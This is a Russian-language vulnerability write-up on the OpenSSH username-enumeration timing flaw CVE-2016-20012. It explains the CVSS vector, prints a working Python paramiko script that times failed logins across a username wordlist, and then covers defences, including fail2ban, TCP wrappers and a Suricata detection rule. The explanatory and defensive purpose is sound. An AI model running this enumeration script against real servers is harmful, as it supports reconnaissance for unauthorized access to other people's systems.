
Уязвимость BDU:2022-01880 (CVE-2016-20012) OpenSSH
Уязвимость BDU:2022-01880 (CVE-2016-20012) связана с особенностью обработки аутентификации в OpenSSH (до версии 8.7). Сервер тратит разное время на проверку валидных и невалидных имен пользователей при использовании публичных ключей. Это позволяет удаленно определить существующие учетные записи через timing-атаку, измеряя задержки ответов.
Анализ уязвимости
Уровень опасности: 5.3 MEDIUM
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
-
AV:N (Attack Vector: Network) – Атака через сеть.
-
AC:L (Attack Complexity: Low) – Низкая сложность эксплуатации.
-
PR:N (Privileges Required: None) – Не требуются привилегии.
-
UI:N (User Interaction: None) – Без участия пользователя.
-
S:U (Scope: Unchanged) – Воздействие ограничено уязвимым компонентом.
-
C:L (Confidentiality: Low) – Частичная утечка конфиденциальности.
-
I:N (Integrity: None) – Без воздействия на целостность.
-
A:N (Availability: None) – Без влияния на доступность.
Условия эксплуатации
-
Доступ к SSH-серверу: Злоумышленник должен иметь возможность инициировать TCP-соединение на порт SSH (обычно 22).
-
Версия OpenSSH ≤ 8.7: Сервер не должен иметь патчи против timing-атак.
-
Отсутствие ограничений на попытки подключения: Если реализованы механизмы вроде fail2ban или rate-limiting, атака усложняется.
Анализ кода эксплоита
Рассмотрим код эксплоита для понимания работы вектора атаки с использованием уязвимости CVE-2016-20012. Эксплоит использует библиотеку paramiko
для измерения времени ответа сервера при попытках аутентификации с неверным паролем. Ключевые элементы:
1. Основная функция check_username
def check_username(hostname, port, username, attempts=5, timeout=10): response_times = [] for _ in range(attempts): client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) start_time = time.time() try: client.connect(hostname, port=port, username=username, password='invalidpassword', timeout=timeout) except paramiko.AuthenticationException: pass # Ожидаемая ошибка при неверных данных finally: end_time = time.time() client.close() response_time = end_time - start_time response_times.append(response_time) # Расчет статистики avg_time = statistics.mean(response_times) stddev = statistics.stdev(response_times) if len(response_times) > 1 else 0 print(f"Username: {username}, Avg: {avg_time:.4f}s, StdDev: {stddev:.4f}")
-
Принцип работы:
-
Для каждого имени из словаря выполняются 5 попыток подключения с неверным паролем (
invalidpassword
). -
Замеряется время между отправкой запроса и получением
AuthenticationException
. -
Валидные имена пользователей вызывают более долгий ответ (сервер проверяет ключ в авторизованных ключах), невалидные — мгновенный отказ.
-
-
Статистическая обработка:
Усреднение времени и расчет стандартного отклонения исключают ложные срабатывания из-за сетевых задержек.
2. Словарь атаки
with open("/path/to/names.txt", 'r') as file: usernames = [line.strip() for line in file if line.strip()]
Типичные словари включают стандартные имена (admin, root, test) и слитые базы логинов.
Последствия успешной эксплуатации
-
Перечисление учетных записей:
-
Определение существующих имен пользователей.
-
Подготовка к брутфорс-атакам на пароли или ключи SSH.
-
-
Сбор информации для целевых атак:
-
Идентификация сервисных аккаунтов (например,
jenkins
,git
). -
Косвенное определение ОС (Linux/Unix-имена vs. Windows).
-
-
Эскалация угроз:
-
Компрометация слабых учетных записей → получение shell → движение по сети.
-
Способы защиты
1. Обновление OpenSSH
-
Версии 8.8+ устраняют уязвимость, нормализуя время ответа для всех запросов.
-
Команда обновления:
sudo apt update && sudo apt upgrade openssh-server
2. Rate-Limiting и Fail2ban
-
Fail2ban: Автоматическая блокировка IP после серии неудачных попыток.
Пример конфигурации (/etc/fail2ban/jail.local
):[sshd] enabled = true maxretry = 3 # Блокировка после 3 попыток bantime = 1h
-
TCP Wrappers: Ограничение доступа по IP через
/etc/hosts.allow
:sshd: 192.168.1.0/24, 10.0.0.1 # Разрешить только указанные подсети/IP
3. Правила для Suricata/IPS
Блокировка подозрительно частых SSH-подключений с разных аккаунтов:
alert tcp any any -> $HOME_NET 22 (msg:"SSH Username Enumeration Attempt"; flow:to_server; detection_filter:track by_src, count 10, seconds 30; threshold:type limit, count 1; sid:1000001; rev:1;)
-
Логика: Срабатывание при 10 попытках подключения за 30 секунд с одного IP.
4. Альтернативные меры
-
Port Knocking: Скрытие SSH-порта за последовательностью "стуков".
-
2FA: Добавление TOTP (Google Authenticator) или U2F-ключей через PAM.
Заключение
Уязвимость BDU:2022-01880 (CVE-2016-20012) демонстрирует риски, связанные с информационным утечками через побочные каналы (timing-атаки). Хотя она не позволяет напрямую получить доступ к системе, она становится первым шагом для целевых атак. Критически важно:
-
Обновлять OpenSSH до актуальных версий.
-
Внедрять многоуровневую защиту (rate-limiting, 2FA).
-
Мониторить сетевую активность с помощью Suricata.
